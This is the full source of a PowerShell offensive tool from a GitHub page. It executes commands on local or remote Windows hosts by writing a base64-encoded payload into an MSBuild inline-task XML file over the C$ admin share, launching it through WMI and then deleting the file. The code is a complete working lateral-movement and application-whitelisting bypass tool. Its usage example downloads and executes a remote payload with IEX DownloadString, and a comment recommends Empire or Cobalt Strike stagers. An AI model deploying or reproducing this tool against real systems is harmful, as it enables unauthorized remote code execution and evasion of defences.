Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
313 lines (256 sloc) 10.4 KB
function Invoke-ExecuteMSBuild
{
<#
.SYNOPSIS
Executes a powershell command on a local/remote host by utilizing MSBuild.
Author: Christopher Ross (@xorrior)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This function executes a powershell command on a local/remote host using MSBuild and an inline task. If credentials are provided, the default administrative share is mounted locally.
The xml file is copied to the specified path through the share. If credentials are not provided for a remote host, the xml file is copied using the default administrative share. If the Command
parameter is omitted, the embedded powershell command will be used. This command will be executed in the context of the MSBuild.exe process without starting PowerShell.exe.
.PARAMETER ComputerName
The IP address or host name to target. If omitted, all commands will be executed on localhost.
.PARAMETER UserName
UserName to utilize for all Wmi commands on the remote host.
.PARAMETER Password
Password to utilize for all Wmi commands on the remote host.
.PARAMETER FilePath
The desired location to copy the xml file on the target.
.PARAMETER DriveLetter
The drive letter to use when mounting the share locally.
.PARAMETER Command
The PowerShell command to execute on the target.
.EXAMPLE
Invoke-ExecuteMSBuild -ComputerName 'testvm.test.org' -UserName 'Test.org\Joe' -Password 'Password123!'
Execute the embedded powershell command on the specified hostname, with the specified credentials
.EXAMPLE
Invoke-ExecuteMSBuild -ComputerName 'testvm.test.org' -Command "IEX (New-Object net.webclient).DownloadString('http://www.getyourpowershellhere.com/payload')"
Execute the specified powershell command on testvm.test.org in the current user context
.EXAMPLE
Invoke-ExecuteMSBuild
Execute the embedded powershell command on localhost
.OUTPUTS
ManagementBaseObject
#>
[CmdletBinding()]
param
(
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$ComputerName,
[Parameter(ParameterSetName = "Credentials")]
[ValidateNotNullOrEmpty()]
[string]$UserName,
[Parameter(ParameterSetName = "Credentials")]
[ValidateNotNullOrEmpty()]
[string]$Password,
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$FilePath = "C:\Windows\Tasks\pshell.xml",
[Parameter()]
[ValidateNotNullOrEmpty()]
[ValidatePattern("[a-zA-Z]:")]
[string]$DriveLetter = "T:",
[Parameter()]
[ValidateNotNullOrEmpty()]
[string]$Command
)
$commonArgs = @{}
$WmiArgs = @{}
function Invoke-ExecuteMSBuildHelper {
Write-Verbose "[+]Executing MSBuild with xml...."
$WmiArgs = @{
Namespace = 'root/CIMV2'
Class = 'Win32_Process'
Name = 'Create'
}
$cmd = "$MSBuildPath $FilePath"
$WmiArgs['ArgumentList'] = $cmd
$result = Invoke-WmiMethod @WmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Verbose "Unable to execute $cmd with error code: $($result.ReturnValue)"
}
$result
}
$InlineTask = @"
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
string encCommand = "ENCCOMMAND";
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke rInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Decode the base64 encoded command
byte[] data = Convert.FromBase64String(encCommand);
string command = Encoding.ASCII.GetString(data);
pipeline.Commands.AddScript(command);
pipeline.Invoke();
runspace.Close();
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
"@
#When omitting the Command paramter, place your embedded command here. Ideal for Empire stagers, Cobalt Strike PowerShell payloads, etc.
$embeddedCommand = @"
"@
#If the Username and Password are specified, add the ComputerName and PSCredential object to commonArgs for later use.
if (($PSBoundParameters['ComputerName'])) {
$commonArgs['ComputerName'] = $ComputerName
if ($PSCmdlet.ParameterSetName -eq "Credentials") {
$MountShare = $True
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($UserName, $SecurePassword)
$commonArgs['Credential'] = $Credential
}
}
if ( -not $PSBoundParameters['Command']) {
Write-Verbose "[+]Command parameter not used, using embedded command...."
$Command = $embeddedCommand
}
#Encode our payload to store in the xml file
Write-Verbose "[+]Crafting the xml file....."
$enc = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($Command))
$InlineTask = $InlineTask.Replace('ENCCOMMAND',$enc)
#Get the msbuild path
#HKLM
Write-Verbose "[+]Enumerating the MSBuildTools path...."
$HiveVal = [UInt32]2147483650
$sSubKeyName = 'SOFTWARE\Microsoft\MSBuild\ToolsVersions\4.0'
$WmiArgs = @{
Namespace = 'root/DEFAULT'
Class = 'StdRegProv'
Name = 'EnumKey'
ArgumentList = $HiveVal, $sSubKeyName
}
if ((Invoke-WmiMethod @WmiArgs @commonArgs).ReturnValue -eq 0) {
$sValueName = 'MSBuildToolsPath'
$WmiArgs['Name'] = 'GetStringValue'
$WmiArgs['ArgumentList'] = $HiveVal,$sSubKeyName,$sValueName
$result = Invoke-WmiMethod @WmiArgs @commonArgs
if ($result.ReturnValue -ne 0) {
Write-Error "Unable to obtain MSBuild location from the registry"
break
}
$MSBuildPath = "$($result.sValue)MSBuild.exe"
}
else {
Write-Error "Unable to enumerate MSBuildTools registry key"
break
}
#Get the default drive of the target system. If it does not match the drive in FilePath, correct it.
$WmiArgs = @{
Namespace = 'root/CIMV2'
Class = 'Win32_OperatingSystem'
}
Write-Verbose "[+]Enumerating the default system drive......"
$SystemDirectory = (Get-WmiObject @WmiArgs @commonArgs).SystemDirectory
$DefaultDrive = $SystemDirectory.Split('\')[0]
if ($DefaultDrive -ne $($FilePath.Split('\')[0])) {
$FilePath = "$DefaultDrive$($FilePath.Split(':')[1])"
}
if ($MountShare) {
#Mount the Default Administrative share locally
$Network = New-Object -ComObject Wscript.Network
try {
$sharePath = "\\$ComputerName\$($DefaultDrive.Replace(':','$'))"
$Network.MapNetworkDrive($DriveLetter,$sharePath,$false,$Credential.GetNetworkCredential().UserName,$Credential.GetNetworkCredential().Password)
$InlineTask | Out-File -FilePath "$DriveLetter$($FilePath.Split(':')[1])" -Encoding ascii
}
catch [System.Exception] {
#if we can't map the new share locally, remove it and exit
Write-Error $_
$null = $Network.RemoveNetworkDrive($DriveLetter,$True,$True)
break
}
Invoke-ExecuteMSBuildHelper
#Cleanup our xml file and remove the share.
Start-Sleep -Seconds 10
Remove-Item "$DriveLetter\$($FilePath.Split(':')[1])"
$Network.RemoveNetworkDrive($DriveLetter,$True,$True)
}
elseif ($commonArgs['ComputerName']) {
#When omitting credentials when specifying a ComputerName, it's assumed that the current user context has administrative privileges on the target.
#Therefore we can just write the file on the target using the C$ administrative share.
Write-Verbose "[+]UserName and Password parameters were not used. Copying the xml file using the C$ Default Share on $ComputerName"
$RemotePath = "\\$ComputerName\$($FilePath.Replace(':','$'))"
try {
$InlineTask | Out-File -Encoding ascii $RemotePath
}
catch [System.Exception] {
Write-Error $_
break
}
Invoke-ExecuteMSBuildHelper
#Cleanup our xml file.
Start-Sleep -Seconds 10
Remove-Item $RemotePath
}
else {
#Write our XML file locally
Write-Verbose "[+]Writing the file locally to $FilePath"
try {
$InlineTask | Out-File -Encoding ascii $FilePath
}
catch [System.Exception] {
Write-Error $_
break
}
Invoke-ExecuteMSBuildHelper
Start-Sleep -Seconds 10
Remove-Item $FilePath -Force
}
}
You can’t perform that action at this time.